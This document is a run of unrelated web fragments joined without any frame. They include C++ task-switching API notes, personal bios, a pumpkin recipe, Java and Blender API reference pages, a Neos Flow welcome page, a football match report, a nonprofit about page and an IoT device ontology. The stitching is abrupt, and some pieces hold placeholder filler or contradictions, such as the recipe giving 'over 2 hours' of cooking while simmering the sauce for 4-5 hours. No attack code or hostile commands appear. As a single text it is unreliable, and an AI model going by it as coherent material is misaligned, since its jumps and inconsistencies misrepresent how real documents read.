ContextInit() fills the memory to be a valid task context. This function is used to spawn a new task. In order to do so a task context must be allocated, a task stack must be allocated, the allocated task context must be initialized. context is the allocated task context, stack is the allocated task stack, stack_len is the task stack length, task is a value to be passed to the task entry function. The task execution is started from the function Task::Internal::EntryTask() and task is passed to this function.
GetContext() returns the context of the current task. This function must be used under the IntLock protection to be useful.
GetContextLen() returns the task context length. This value is constant on the particular platform.
SwitchContext_int() is called in the interrupt context to switch to the task with the given task context. If this function is called in the interrupt context, then after the interrupt processing is finished the correspondent task will regain CPU. This function can be called multiple times during the single interrupt context processing.
SwitchContext_task() is called in the task context to switch to the task with the given context. It must be called under the IntLock protection. The current task is suspended, its context is updated. When this task is regain CPU, it is continued after the call of the SwitchContext_task(). From the current task perspective the task switch is looked as the function call.
The STD implementation is
/* TaskContext.cpp */ #include <CCore/inc/task/TaskCore.h> #include <__std_init.h> namespace CCore { /* class Task::Internal */ extern "C" void __std_Entry(void *task) { Task::Internal::EntryTask(task); } void Task::Internal::ContextInit(void *context,void *stack,ulen stack_len,void *task) { __std_context_init(context,stack,stack_len,__std_Entry,task); } void * Task::Internal::GetContext() { return __std_context; } ulen Task::Internal::GetContextLen() { return __std_context_len(); } void Task::Internal::SwitchContext_int(void *context) { __std_context=context; } void Task::Internal::SwitchContext_task(void *context) { __std_switch(context); } } // namespace CCore


During 4 years I tried a lot of directions such as law, politcal sciences and accountancy.
Finally I realised that I wasn't made for studies.
Now that I has left High School, I had no idea of what I wnated to do.
One day, my grandmother called me and told me that she heard that there was a code formation in Brussels.
After some researchs, I decided to sign up and to go through the selections.
If you want to contact me, please send a message to delchambremaxime@gmail.com


Preparation time
less than 30 mins
Cooking time
over 2 hours
Serves
Serves 6
Skip the pasta and make the most of pumpkin with this unique take on the Italian classic.
For the tomato sauce, heat a large saucepan and add the oil. Once hot, add the garlic and fry until golden-brown. Then add the chill, tomato passata and sea salt. Cook gently for 4-5 hours.
For the mustard fruit purée, place the mustard fruits and 30g/1oz of the reserved syrup in a blender and blend until smooth.
For the pumpkin, preheat the oven 160C/140C Fan/Gas 3.
Rub the pumpkin wedges with 4 tablespoons olive oil, season with sea salt and place onto a non-stick baking tray. Cook for approximately 20 minutes. Test with a small knife at the thicker end of the pumpkin to feel it is cooked. There should be no resistance from the pumpkin. Leave to cool and then gently peel off the skin, which can be discarded.
Heat a large lidded pan and add some olive oil. Once hot, add the shallots, chilli and garlic and cook until soft, then add the cavolo nero. Add 4 tablespoons water to the pan, a good pinch of sea salt and cover. Cook over a medium heat, stirring regularly, for approximately 20-25 minutes or until the cavolo nero is completely soft to the bite. Drain away any excess water and leave in the pan, covered.
Reheat the pumpkin in the oven until hot. Remove and spread a thin layer of the puréed mustard fruits on the top of the pumpkin wedges followed by the lemon zest and sliced Parmesan to cover the whole surface. Place back in the oven to soften and slightly melt the cheese.
Heat a small saucepan and add enough oil to cover the base of the pan. Once hot, add the sage leaves and cook until crisp. Remove from the pan using a slotted spoon and drain on kitchen paper.
Reheat the cavolo nero and the tomato sauce. Place the cavolo nero on the plates first then dab tomato sauce on and around it. Place the pumpkin on top. Crush two amaretti biscuits over the pumpkin and finish with the deep fried sage leaves.


Jose Perez
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Index
A C D E F G I M N P S U
All Classes|All Packages
All Classes|All Packages
All Classes|All Packages
A
- annotations - package annotations
C
- ClassHasNoIdFieldException - Exception in exceptions
- ClassHasNoIdFieldException(Class) - Constructor for exception exceptions.ClassHasNoIdFieldException
- controller - package controller
- createInstance(ENTIY_DTO) - Method in class entitiesfactory.GenericFactory
-
Creates a new Generic object.
- CrudService - Class in main
- CrudService() - Constructor for class main.CrudService
D
- deleteEntity(ID) - Method in class services.GenericCRUDService
-
Delete entity form the database.
- deleteEntityById(ID) - Method in class controller.GenericController
-
Implementation of the generic method that is going to delete an entity from the data base based on the provided id.
E
- entitiesfactory - package entitiesfactory
- exceptions - package exceptions
F
- fetchEntityDTOId(ENTITY_DTO) - Method in class services.GenericCRUDService
-
This function the reflection API to extract the id value of the id based on the annotation @IsIdenttifier
G
- GenericController<ENTITY,ENTITY_DTO,ENTITY_REPO,ID> - Class in controller
-
The Class GenericController is an abstract that contains and encapsulates the common CRUD endpoints and that will extended by all other CRUD controllers.
- GenericController() - Constructor for class controller.GenericController
- genericCrudRepo() - Method in class main.CrudService
- genericCrudRepo() - Method in class services.GenericCRUDService
-
Generic crud repository of the underlying entity.
- genericCrudService() - Method in class controller.GenericController
-
is an abstract method used to return the service instance associated to the child controller to be used in this context.
- GenericCRUDService<ENTITY,ENTITY_DTO,ENTITY_REPO,ID> - Class in services
-
The Class GenericCRUDService.
- GenericCRUDService() - Constructor for class services.GenericCRUDService
- genericFactory() - Method in class main.CrudService
- genericFactory() - Method in class services.GenericCRUDService
-
Generic factory of the underlying entity.
- GenericFactory<ENTITY,ENTIY_DTO> - Class in entitiesfactory
-
A factory for creating Generic objects.
- GenericFactory() - Constructor for class entitiesfactory.GenericFactory
- getAge() - Method in class main.Person
- getAllPersistedById(List<ID>) - Method in class services.GenericCRUDService
-
Gets the all persisted entities by the provided ids.
- getById(ID) - Method in class services.GenericCRUDService
-
Gets the Entity by id from the data base.
- getEntityById(ID) - Method in class controller.GenericController
-
Implementation of the generic method that is going to get an entity from the data base based on the provided id.
- getName() - Method in class main.Person
I
- InstanceNotValidException - Exception in exceptions
- InstanceNotValidException(String) - Constructor for exception exceptions.InstanceNotValidException
- IsIdentifier - Annotation Type in annotations
M
- main - package main
- main(String[]) - Static method in class main.Main
- Main - Class in main
- Main() - Constructor for class main.Main
N
- NotFoundException - Exception in exceptions
- NotFoundException(String) - Constructor for exception exceptions.NotFoundException
P
- persistEntity(ENTITY_DTO) - Method in class services.GenericCRUDService
-
Persist entity to the database.
- persistEntityToDataBase(ENTITY_DTO) - Method in class controller.GenericController
-
Implementation of the generic method that is going to persist the provided entity to the data base.
- Person - Class in main
- Person(String, Integer) - Constructor for class main.Person
S
- services - package services
- setAge(Integer) - Method in class main.Person
- setName(String) - Method in class main.Person
U
- updateEntity(ENTITY_DTO) - Method in class services.GenericCRUDService
-
Update entity an exisitng entity in the data base.
- updateEntity(ID, ENTITY_DTO) - Method in class controller.GenericController
-
Implementation of the generic method that is going to update an existing entity in the data base based the provided entity DTO.
All Classes|All Packages


Welcome to Neos Flow {version}
Switch to Development context
You should enable the Development context for your first steps into the world of Flow!
Check the Flow reference and/or
the Quickstart tutorial for instructions.
Getting started 👋
Open a terminal and create your first package with
cd {flowPathRoot}
to create a package with a boilerplate controller.
./flow kickstart:package Happy.Coding
Click on
Once you've created the "Happy.Coding" package - refresh this page to find the next step
Keep Flowing
- Docs: Flow Quickstart
- Docs: The Definitive Guide
- Contribute to Flow and Neos
- Start a thread in our forum
- Join us on Slack
- Report a bug
- Github
Deactivate the Welcome package (optional)
Deactivate the Welcome package with
flow.bat package:deactivate Neos.Welcome
./flow package:deactivate Neos.Welcome
in order to deactivate this welcome page


Twitter's API rate limit is at 180 requests per 15 minutes (12 requests per minute, or every 5th second). It is recommended to not go below 10 seconds as to provide yourself with a bit of a margin.
Whenever the auto-refreshing procedure is enabled, the Twitter logo will be replaced with the Twitter Idle AutoRefresh logo to provide a visual cue.
These conditions decide when & where the auto-refreshing procedure should be enabled.
The extension awaits the existance of the following element before processing anything.
The element that the extension should click on to fetch new tweets.
The Twitter logo element to replace when the extension is active.
Please read! As a privacy proponent myself, I would like to briefly state that this add-on will NEVER record any data whatsoever (e.g. browsing habits). It does however require the storage permission in order to save & read the above user settings. It will also only activate on URLs matching *://twitter.com/*. The add-on is freely available on GitHub for full transparency.
As a privacy proponent myself, I would like to briefly state that this add-on will NEVER record any data whatsoever (e.g. browsing habits). It does however require the storage permission in order to save & read the above user settings. It will also only activate on URLs matching *://twitter.com/*.
storage
*://twitter.com/*
The add-on is freely available on GitHub for full transparency.


Our Team
Our amazing team of volunteers are committed to helping others. We take our dreams and turn them into action. Think you would be a good fit? Visit the Volunteer page for more information!
Our History
Seeing a need for dedicated, nonprofit work in the mental health area, we formed our organization to provide a safe place for people to come and receive free-of-charge support. We've consistently grown since then, all thanks to the volunteers of the Healing Hub Inc.!
Our Mission
We focus on making the maximum positive effort for our community. Our members and volunteers provide the momentum that helps us affect change. Using one to one and community support, low cost resources and team work, we've found a way to make a difference in people's lives for people who otherwise couldn't access it.


{{site.user_description}}
Proficient in Pandas,NumPy,Matplotlib,Seaborn,scikit-learn and other Python packages.
Besides,I am also familiar with C.
I am good at using Atom,Jupyter Notebook ,R Studio ,Tableau ,Matlab and Excel to deal with data issues.
Photoshop,Premiere and Lightroom make me become a skillful shutterbug.


Add a new coupon
Title:
Start Date:
Expired Date:
Amount:
Select Type:
Please select a type For your new coupon
RESTURANTS
ELECTRICITY
FOOD
HELTH
SPORT
CAMPING
TRAVELLING
WEBSITE_STOR
MUSIC_INSTRUMENTS
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Here is some random text in the jumbotron: jdfhdsialfbsdaljaagggggggggg
Example block-level help text here.


2 — Air
)
Air electrode Hybrid Na-air cell
Sodium anode Porous and binder free air electrodes
required, air electrode should catalyze Advantage: Economical, high energy,
ORR and OER processes. better ionic conductivity than Li ion-based electrolyte
Validated air electrodes are good catalyst
for ORR but requires improvement for OER Drawback: Dendritic growth, unstable
catalytic activity SEI, Safety concerns
NASICON Electrolyte
Advantage: Good ionic conductivity, Anolyte: Na* ion based organic electrolytes crucial component in hybrid cell as it Catholyte: Alkali and acidic electrolyte provides required safety


NlaStrip(bpy_struct)¶
base class — bpy_struct
-
class
bpy.types.
NlaStrip
(bpy_struct)¶ A container referencing an existing Action
-
action_frame_end
¶ Last frame from action to use
Type: float in [-inf, inf], default 0.0
-
action_frame_start
¶ First frame from action to use
Type: float in [-inf, inf], default 0.0
-
active
¶ NLA Strip is active
Type: boolean, default False, (readonly)
-
blend_in
¶ Number of frames at start of strip to fade in influence
Type: float in [-inf, inf], default 0.0
-
blend_out
¶ Type: float in [-inf, inf], default 0.0
-
blend_type
¶ Method used for combining strip’s result with accumulated result
REPLACE
Replace, The strip values replace the accumulated results by amount specified by influence.COMBINE
Combine, The strip values are combined with accumulated results by appropriately using addition, multiplication, or quaternion math, based on channel type.ADD
Add, Weighted result of strip is added to the accumulated results.SUBTRACT
Subtract, Weighted result of strip is removed from the accumulated results.MULTIPLY
Multiply, Weighted result of strip is multiplied with the accumulated results.
Type: enum in [‘REPLACE’, ‘COMBINE’, ‘ADD’, ‘SUBTRACT’, ‘MULTIPLY’], default ‘REPLACE’
-
extrapolation
¶ Action to take for gaps past the strip extents
NOTHING
Nothing, Strip has no influence past its extents.HOLD
Hold, Hold the first frame if no previous strips in track, and always hold last frame.HOLD_FORWARD
Hold Forward, Only hold last frame.
Type: enum in [‘NOTHING’, ‘HOLD’, ‘HOLD_FORWARD’], default ‘HOLD’
-
fcurves
¶ F-Curves for controlling the strip’s influence and timing
Type: NlaStripFCurves
bpy_prop_collection
ofFCurve
, (readonly)
-
frame_end
¶ Type: float in [-inf, inf], default 0.0
-
frame_start
¶ Type: float in [-inf, inf], default 0.0
-
influence
¶ Amount the strip contributes to the current result
Type: float in [0, 1], default 0.0
-
modifiers
¶ Modifiers affecting all the F-Curves in the referenced Action
Type: bpy_prop_collection
ofFModifier
, (readonly)
-
mute
¶ Disable NLA Strip evaluation
Type: boolean, default False
-
name
¶ Type: string, default “”, (never None)
-
repeat
¶ Number of times to repeat the action range
Type: float in [0.1, 1000], default 0.0
-
scale
¶ Scaling factor for action
Type: float in [0.0001, 1000], default 0.0
-
select
¶ NLA Strip is selected
Type: boolean, default False
-
strip_time
¶ Frame of referenced Action to evaluate
Type: float in [-inf, inf], default 0.0
-
strips
¶ NLA Strips that this strip acts as a container for (if it is of type Meta)
Type: bpy_prop_collection
ofNlaStrip
, (readonly)
-
type
¶ Type of NLA Strip
CLIP
Action Clip, NLA Strip references some Action.TRANSITION
Transition, NLA Strip ‘transitions’ between adjacent strips.META
Meta, NLA Strip acts as a container for adjacent strips.SOUND
Sound Clip, NLA Strip representing a sound event for speakers.
Type: enum in [‘CLIP’, ‘TRANSITION’, ‘META’, ‘SOUND’], default ‘CLIP’, (readonly)
-
use_animated_influence
¶ Influence setting is controlled by an F-Curve rather than automatically determined
Type: boolean, default False
-
use_animated_time
¶ Strip time is controlled by an F-Curve rather than automatically determined
Type: boolean, default False
-
use_animated_time_cyclic
¶ Cycle the animated time within the action start & end
Type: boolean, default False
-
use_auto_blend
¶ Number of frames for Blending In/Out is automatically determined from overlapping strips
Type: boolean, default False
-
use_reverse
¶ NLA Strip is played back in reverse order (only when timing is automatically determined)
Type: boolean, default False
-
use_sync_length
¶ Update range of frames referenced from action after tweaking strip and its keyframes
Type: boolean, default False
-
classmethod
bl_rna_get_subclass
(id, default=None)¶ Parameters: id (string) – The RNA type identifier. Returns: The RNA type or default when not found. Return type: bpy.types.Struct
subclass
-
classmethod
bl_rna_get_subclass_py
(id, default=None)¶ Parameters: id (string) – The RNA type identifier. Returns: The class or default when not found. Return type: type
-
Inherited Properties
Inherited Functions
References


Premier League: What happened in the English top flight on Saturday?
Leicester and Chelsea both won in the Premier League on Saturday as they maintained their challenge for a top-four finish, while Tottenham dropped more points.
Leicester moved into second on goal difference, five points behind Liverpool, with a 2-0 win over Arsenal in the late game. Jamie Vardy and James Maddison scored as the Foxes recorded a fourth consecutive league win.
Chelsea are third after they beat Crystal Palace 2-0 - their sixth successive league win - thanks to goals from Tammy Abraham and Christian Pulisic.
Spurs were held 1-1 at home by Sheffield United, meaning Mauricio Pochettino's side have failed to win any of their past five league games.
Son Heung-min put Spurs in front but George Baldock equalised for the Blades, who are now fifth in the table.
Everton increased the pressure on Southampton manager Ralph Hasenhuttl with a 2-1 victory at St Mary's, as Tom Davies and Richarlison scored either side of Danny Ings' equaliser.
The Saints, who stay 19th, were booed off at full-time as some home fans threw their scarves on to the pitch.
West Ham's winless run extended to seven games in all competitions as they were beaten 3-0 at Burnley, and they are just two places above the relegation zone.
Newcastle are up to 11th after coming from behind to beat Bournemouth 2-1 through goals from DeAndre Yedlin and Ciaran Clark.


--- layout: post date: 2009-11-24 time: "09:00:00" authors: ["Greg Wilson"] title: Tutorials Start This Week tags: ["MathWorks", "MITACS", "SciNet", "University of Toronto"] ---
After a lot of hard work from Dominique and Jon, we're kicking off warmup tutorials for Software Carpentry this week. 65 students from Psychology, Linguistics, Chemical Engineering, and a couple of other departments will get three weeks of review on basic programming, then start the regular material in January. Our thanks to MITACS, the MathWorks, SciNet, and DCS for their support.


Before Change
def main():
train, dev = datasets.imdb()
train = train[:5000]
dev = dev[:5000]
train_X, train_y = zip(*train)
dev_X, dev_y = zip(*dev)
model = LinearModel(2)
train_y = to_categorical(train_y, nb_classes=2)
After Change
for doc in nlp.pipe(train_X)]
dev_X = [model.ops.asarray([tok.orth for tok in doc], dtype="uint64")
for doc in nlp.pipe(dev_X)]
dev_X = preprocess(model.ops, dev_X)
with model.begin_training(train_X, train_y, L2=1e-6) as (trainer, optimizer):
trainer.dropout = 0.0
trainer.batch_size = 512
trainer.nb_epoch = 3


Source
(defmethod handle-written-object (object-id block (heap mark-and-sweep-heap))
;; (This is called just after a (version of an) object has been
;; written to the heap.) Mark the object entry dead if the collector
;; is in the marking-object-table or scanning phase, and live otherwise.
(setf (object-info (object-table heap) object-id)
(case (state heap)
((:starting :marking-object-table :scanning)
:dead-object)
(otherwise
:live-object)))
;; In the scanning phase, the object id must be added to the root set to
;; guarantee that it will be marked and scanned.
(when (eql (state heap) :scanning)
(push object-id (roots heap))))
Source Context


I am a driven entrepreneur and a lifelong student who is incredibly passionate about technology that disrupts. As a Computer Science major with a minor in Entrepreneurship at the University of Dayton (expected graduation 2018), I aim to combine both of these intellectual avenues in my every endeavor. I aspire to learn through my experiences, enhance and refine the skills I gain along the way, and positively impact the world around me. Currently interested in Machine Learning with Google's TensorFlow and harnessing the power of blockchain for consumer applications.
By Interning at a VC firm I got exposure to the business side of venture deals and got to be apart of the incubator focused on building companies from the ground up with a strategic corporate, ultimately leading to a startup with an unfair advantage. The targeted industries were robotics, A.I. and emerging industries. Main duties included performing initial due diligence on businesses and identifying new opportunities.
At Marxent, I had an amazing opportunity to join a cutting edge startup at an exciting time just before a series B round of funding. Marxent specializes in AR/VR furniture solutions for corporates such as Macys, Lazy boy, Ashley and more. While being part of the startup atmosphere was a rewarding experience in itself, the most challenging and exciting work I got to do was developing the AR application for iPad. This included using technologies such as Unity and ARKit while working with an amazing team and learning vast amounts of iOS development.
Being in Silicon Valley in itself was a rewarding experience but to have the opportunity to intern at a top tech company made it even better. RTI focused on a Data Distribution Service specifically for the Industrial Internet of Things. My team was focused on smaller platforms including automotive, and even systems that did not have operating systems, which posed difficult but interesting challenges. I focused on developing an external testing framework used for client who wanted to port the software.
Joining an industry leading fin-tech company was the perfect intersection between my passion for developing and my interest in the financial industry. While working on the new web based trading platform I also got to talk to very successful traders and learn the challenges they face while trading futures and options. Fin-tech exposed me to an entirely new set of challenges that need to be addressed, in this world a fraction of a second in latency can lead to millions of dollars lost.
Joining an industry leading fin-tech company was the perfect intersection between my passion for developing and my interest in the financial industry. While working on the new web based trading platform I also got to talk to very successful traders and learn the challenges they face while trading futures and options. Fin-tech exposed me to an entirely new set of challenges that need to be addressed, in this world a fraction of a second in latency can lead to millions of dollars lost.
Working at littlelines during the school year was one of th best decisions I made during college.
Fusionary was my first internship experience...


Keywan Tafteh
Blog
Autobiography
Selected Work
CV
Contact
Walled Windows
Disembody
Tantouze
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Media
Azizam
Art Books


{% extends "layout.html" %} {% block body %}
Select multiple files to upload.
comma separated list of tags to apply to all images


--- layout: page title: About header-img: "img/about-bg.png" ---
Jesse Neumann is passionate about all aspects of programming. When he is not programming he is playing music or thinking about programming.


Through the iterative design process, EMU Interior Design will ensure that options are tested and agreed whilst progressing through a project lifecycle.
Whether engaged with our clients in part, or the whole life cycle, our expertise in achieving clear milestones will be beneficial to any building project.
Listen / Capture / Analyse
Challenge / Workshop / Concept
Options / Develop / Present / Costs
Project Management / Deliver


Department of Electrical and Electronic Engineering
Tutoring Scheme
{% block pre_row %}{% endblock %}
{% block content %}{% endblock %}
Run by your Departmental Representatives - Jack, Dario and Sam.
©2014 darioml


Labeling hints
The following are some recomendations for how to provide annotations
that are as useful as possible.
View the entire image: Make sure that
your browser occupies the entire screen and that you scroll
to see the entire image. If you label an object on the edge
of your browser, make sure to scroll so that the entire
object is visible.
Labeling occluded objects: Sometimes objects will
be only partially visible. This is especially true for regions like roads,
buildings, etc., which become difficult to label when there are many occlusions.
We recommend in these cases to complete the boundary as if they were not
occluded.
Object naming: Use common English names for objects.
Use a name that you think other people are likely to use to describe
the same object. You can use several words to describe an
object.
Example object names: sky,
tree, building, road, sidewalk, person, car, chair.
|


Our application excels at simplifying the interaction between the user and technology. We have managed to replace keypresses and clicks with a simple flick of the wrist.
A major development goal of ours, was making our application as accessible as possible. Our technology accomplishes this by simplifying the way we do complex tasks.
One of the biggest benefits of our technology is its immense expansion potential. Our team plans on expanding this prototype to allow a wide variety of features.
User feedback is very important to us! We would like to implement a product review system in order to maximize the customizability of our software for our users!
Total Users
Reviews
Leave the clicking and typing to us! Utilizing Leap Motion technology, and a variety of programming languages, our team has created an application that allows you to complete tasks with the wave of a hand.
get started Sign up FreeOne of the greatest benefits of technology, is its potential to improve the lives of others, and we sought to accomplish this with our application.
People on the autism spectrum often show difficulties in verbal forms of communication. LeapAlert gives those on the spectrum an opportunity to gain experience in expressing themselves through body language.
Technology is an extremely visual medium, making it very inaccessible to those with visual impairments. Our simplified swipe technology helps remove many of the barriers of visual interfaces.
A parents greatest fear is leaving their child alone. LeapAlert helps lessen those fears by giving children a simple and quick way to communicate issues with their parents.
This prototype our application has automated the task of sending a text message, allowing users to send out text alerts
get started Sign up freeWe take tremendous pride in the wide range of technologies both used in both the creation and implementation of this application.
Swipe Detection
Swipe Customization
We would like to thank and credit the developers behind the Twilio, Leap Motion, Leapjs, and Flask API for providing public libraries which provided necessary software components to our project.


public class QNASettings
extends java.lang.Object
| Modifier and Type | Field and Description |
|---|---|
boolean |
isReadyToStartQuiz |
int |
mNumAnswersSelected |
int |
mNumQuestionsSelected |
static java.lang.String[] |
QNA_TYPE |
| Modifier and Type | Method and Description |
|---|---|
int |
getAnswerTypeSelected()
Gets the selected answer type.
|
static java.lang.String |
getAnswerTypeTitle()
Gets the answer type title: "Answer".
|
static QNASettings |
getInstance()
If the instance already exists, then getInstance() simply returns the instance.
|
int |
getNumAnswersSelected()
Gets the number of the selected answers.
|
int |
getNumMinAnswersSelected()
Gets the min number of the selected answers.
|
int |
getNumMinQuestionsSelected()
Gets the min number of the selected questions.
|
int |
getNumQuestionsSelected()
Gets the number of the selected questions.
|
static java.lang.String[] |
getQnaType()
Gets the QNA_TYPE array, which defines the possible QNA quiz types.
|
int |
getQuestionTypeSelected()
Gets the selected question type.
|
static java.lang.String |
getQuestionTypeTitle()
Gets the question type title: "Question".
|
java.lang.String |
getSelectedAnswerType()
Gets the selected answer type.
|
java.lang.String |
getSelectedQuestionType()
Gets the selected question type.
|
boolean |
isReadyToStartQuiz()
Checks if the quiz is ready to be started.
|
void |
setAnswerTypeSelected(int answerTypeSelected)
Sets the selected answer type.
|
void |
setNumAnswersSelected(int numAnswersSelected)
Sets the number of the selected answers.
|
void |
setNumMinAnswersSelected(int numMinAnswersSelected)
Sets the min number of the selected answers.
|
void |
setNumMinQuestionsSelected(int numMinQuestionsSelected)
Sets the min number of the selected questions.
|
void |
setNumQuestionsSelected(int numQuestionsSelected)
Sets the number of the selected questions.
|
void |
setQuestionTypeSelected(int questionTypeSelected)
Sets the selected question type.
|
void |
setReadyToStartQuiz(boolean readyToStartQuiz)
Sets if the quiz is ready to be started.
|
void |
setSelectedAnswerType(java.lang.String selectedAnswerType)
Sets the selected answer type.
|
void |
setSelectedQuestionType(java.lang.String selectedQuestionType)
Sets the selected question type.
|
public int mNumQuestionsSelected
public int mNumAnswersSelected
public static final java.lang.String[] QNA_TYPE
public boolean isReadyToStartQuiz
public static QNASettings getInstance()
public static java.lang.String getQuestionTypeTitle()
ExpandableListHandler
class.public static java.lang.String getAnswerTypeTitle()
ExpandableListHandler
class.public static java.lang.String[] getQnaType()
public java.lang.String getSelectedAnswerType()
public java.lang.String getSelectedQuestionType()
public void setSelectedQuestionType(java.lang.String selectedQuestionType)
selectedQuestionType
- the selected question typepublic void setSelectedAnswerType(java.lang.String selectedAnswerType)
selectedAnswerType
- the selected answer typepublic int getNumQuestionsSelected()
public void setNumQuestionsSelected(int numQuestionsSelected)
numQuestionsSelected
- the number of the selected answerspublic int getNumAnswersSelected()
public void setNumAnswersSelected(int numAnswersSelected)
numAnswersSelected
- the number of the selected answerspublic int getQuestionTypeSelected()
public void setQuestionTypeSelected(int questionTypeSelected)
questionTypeSelected
- the selected question typepublic int getAnswerTypeSelected()
public void setAnswerTypeSelected(int answerTypeSelected)
answerTypeSelected
- the selected answer typepublic int getNumMinQuestionsSelected()
public void setNumMinQuestionsSelected(int numMinQuestionsSelected)
numMinQuestionsSelected
- the min number of the selected questionspublic int getNumMinAnswersSelected()
public void setNumMinAnswersSelected(int numMinAnswersSelected)
numMinAnswersSelected
- the min number of the selected answerspublic boolean isReadyToStartQuiz()
public void setReadyToStartQuiz(boolean readyToStartQuiz)
readyToStartQuiz
- sets if the quiz is ready to be started


https://w3id.org/rec/device/
The actuation model is deployed and works in practice with the stakeholders, but we need to update the model to reflect current practice in their systems; e.g., extend the semantics a little and formalize standard state messages, response codes, etc.
| IRI | https://w3id.org/rec/device/Actuation |
|---|---|
| Description | The act of changing the state of something. |
| Super-classes |
DeviceEventsc |
| In domain of |
actuationCommanddp hasActuationRequestTimedp actuationResponsedp hasActuationResponseTimedp actuationExecutedByop hasActuationCommandTimedp actuationRequestdp |
| In range of |
executesActuationop |
| IRI | https://w3id.org/rec/device/ActuationInterface |
|---|---|
| Description | A description of what kind of input the Actuator accepts. |
| In range of |
hasActuationInterfaceop |
| IRI | https://w3id.org/rec/device/Actuator |
|---|---|
| Description | An actuator is a component that is responsible for moving and controlling a mechanism or system. |
| Super-classes |
core:Devicec |
| Restrictions |
observedByop only Sensorc core:deviceQuantityKind exactly 1 |
| In domain of |
hasActuationInterfaceop executesActuationop |
| In range of |
actuationExecutedByop observesActuatorop |
| IRI | https://w3id.org/rec/device/BACnetConfiguration |
|---|---|
| Description | Specific classes and properties to be extended in upcoming version. |
| Super-classes |
CommunicationConfigurationc |
| IRI | https://w3id.org/rec/device/CommunicationConfiguration |
|---|---|
| Description | Instances of this class and its subclasses represent configuration fields and values in the various old-world non-IoT building system standards. |
| Sub-classes |
BACnetConfigurationc ModbusConfigurationc OPC-DAConfigurationc MBusConfigurationc KNXConfigurationc ModbusTCPConfigurationc OPC-UAConfigurationc LoRaConfigurationc ModbusRTUConfigurationc |
| IRI | https://w3id.org/rec/device/CommunicationsBus |
|---|---|
| Description | Type of communications bus for the Device. |
| In range of |
hasCommunicationsBusop |
| IRI | https://w3id.org/rec/device/DeviceEvents |
|---|---|
| Description | Events that are relevant in a Device context; initially observations, actuations, and exceptions. |
| Super-classes |
core:Eventc |
| Restrictions |
eventPlacementContextop max 1 |
| Sub-classes |
Actuationc Exceptionc Observationc |
| IRI | https://w3id.org/rec/device/DeviceFunctionType |
|---|---|
| Description | The main function or purpose of a Device. |
| In range of |
hasDeviceFunctionTypeop |
| IRI | https://w3id.org/rec/device/Exception |
|---|---|
| Description | Failed attempt or unexpected result when tried to do something (e.g. read a Sensor). |
| Super-classes |
DeviceEventsc |
| In domain of |
exceptionGeneratedByop |
| In range of |
generatedExceptionop |
| IRI | https://w3id.org/rec/device/KNXConfiguration |
|---|---|
| Description | Specific classes and properties to be extended in upcoming version. |
| Super-classes |
CommunicationConfigurationc |
| Sub-classes |
KNXDataPointTypec |
| IRI | https://w3id.org/rec/device/KNXDataPointType |
|---|---|
| Super-classes |
KNXConfigurationc |
| In range of |
hasKNXDataPointTypeop |
| IRI | https://w3id.org/rec/device/LoRaConfiguration |
|---|---|
| Description | Specific classes and properties to be extended in upcoming version. |
| Super-classes |
CommunicationConfigurationc |
| IRI | https://w3id.org/rec/device/MBusConfiguration |
|---|---|
| Description | Specific classes and properties to be extended in upcoming version. |
| Super-classes |
CommunicationConfigurationc |
| IRI | https://w3id.org/rec/device/ModbusConfiguration |
|---|---|
| Super-classes |
CommunicationConfigurationc |
| Sub-classes |
ModbusDataTypec ModbusFunctionCodec |
| IRI | https://w3id.org/rec/device/ModbusDataType |
|---|---|
| Super-classes |
ModbusConfigurationc |
| In range of |
hasModbusDataTypeop |
| IRI | https://w3id.org/rec/device/ModbusFunctionCode |
|---|---|
| Super-classes |
ModbusConfigurationc |
| In range of |
hasModbusFunctionCodeop |
| IRI | https://w3id.org/rec/device/ModbusRTUConfiguration |
|---|---|
| Description | Specific classes and properties to be extended in upcoming version. |
| Super-classes |
CommunicationConfigurationc |
| IRI | https://w3id.org/rec/device/ModbusTCPConfiguration |
|---|---|
| Description | Specific classes and properties to be extended in upcoming version. |
| Super-classes |
CommunicationConfigurationc |
| IRI | https://w3id.org/rec/device/OPC-DAConfiguration |
|---|---|
| Description | Specific classes and properties to be extended in upcoming version. |
| Super-classes |
CommunicationConfigurationc |
| IRI | https://w3id.org/rec/device/OPC-UAConfiguration |
|---|---|
| Description | Specific classes and properties to be extended in upcoming version. |
| Super-classes |
CommunicationConfigurationc |
| IRI | https://w3id.org/rec/device/Observation |
|---|---|
| Description | Observation of a phenomena. Made by a Sensor. Used with hasValue. |
| Super-classes |
DeviceEventsc |
| Restrictions |
core:eventQuantityKind exactly 1 core:eventMeasurementUnit min 1 |
| In domain of |
observationGeneratedByop hasProcessedTimedp |
| In range of |
generatedObservationop |
| IRI | https://w3id.org/rec/device/PlacementContext |
|---|---|
| Description | Description of the context or media that a sensor or actuator is operating within. |
| In range of |
eventPlacementContextop devicePlacementContextop hasPlacementContextop |
| IRI | https://w3id.org/rec/device/PowerSource |
|---|---|
| Description | The power source for the device. |
| Super-classes |
core:Devicec |
| IRI | https://w3id.org/rec/device/Sensor |
|---|---|
| Description | Thing which detects or measures a physical property and records, indicates, or otherwise responds to it. |
| Super-classes |
core:Devicec |
| Restrictions |
core:deviceQuantityKind exactly 1 observesActuatorop only Actuatorc core:deviceMeasurementUnit min 1 |
| In domain of |
observesActuatorop generatedObservationop observesop generatedExceptionop |
| In range of |
observationGeneratedByop observedByop exceptionGeneratedByop |
| IRI | https://w3id.org/rec/device/actuationExecutedBy |
|---|---|
| Super-properties | core:associatedWithDevice |
| Inverse properties | executesActuationop |
| Domain(s) | Actuationc |
| Range(s) | Actuatorc |
| IRI | https://w3id.org/rec/device/devicePlacementContext |
|---|---|
| Super-properties | hasPlacementContextop |
| Domain(s) | core:Devicec |
| Range(s) | PlacementContextc |
| IRI | https://w3id.org/rec/device/eventPlacementContext |
|---|---|
| Super-properties | hasPlacementContextop |
| Domain(s) | core:Eventc |
| Range(s) | PlacementContextc |
| IRI | https://w3id.org/rec/device/exceptionGeneratedBy |
|---|---|
| Super-properties | core:associatedWithDevice |
| Inverse properties | generatedExceptionop |
| Domain(s) | Exceptionc |
| Range(s) | Sensorc |
| IRI | https://w3id.org/rec/device/executesActuation |
|---|---|
| Super-properties | core:associatedWithEvent |
| Domain(s) | Actuatorc |
| Range(s) | Actuationc |
| IRI | https://w3id.org/rec/device/generatedException |
|---|---|
| Super-properties | core:associatedWithEvent |
| Domain(s) | Sensorc |
| Range(s) | Exceptionc |
| IRI | https://w3id.org/rec/device/generatedObservation |
|---|---|
| Super-properties | core:associatedWithEvent |
| Inverse properties | observationGeneratedByop |
| Domain(s) | Sensorc |
| Range(s) | Observationc |
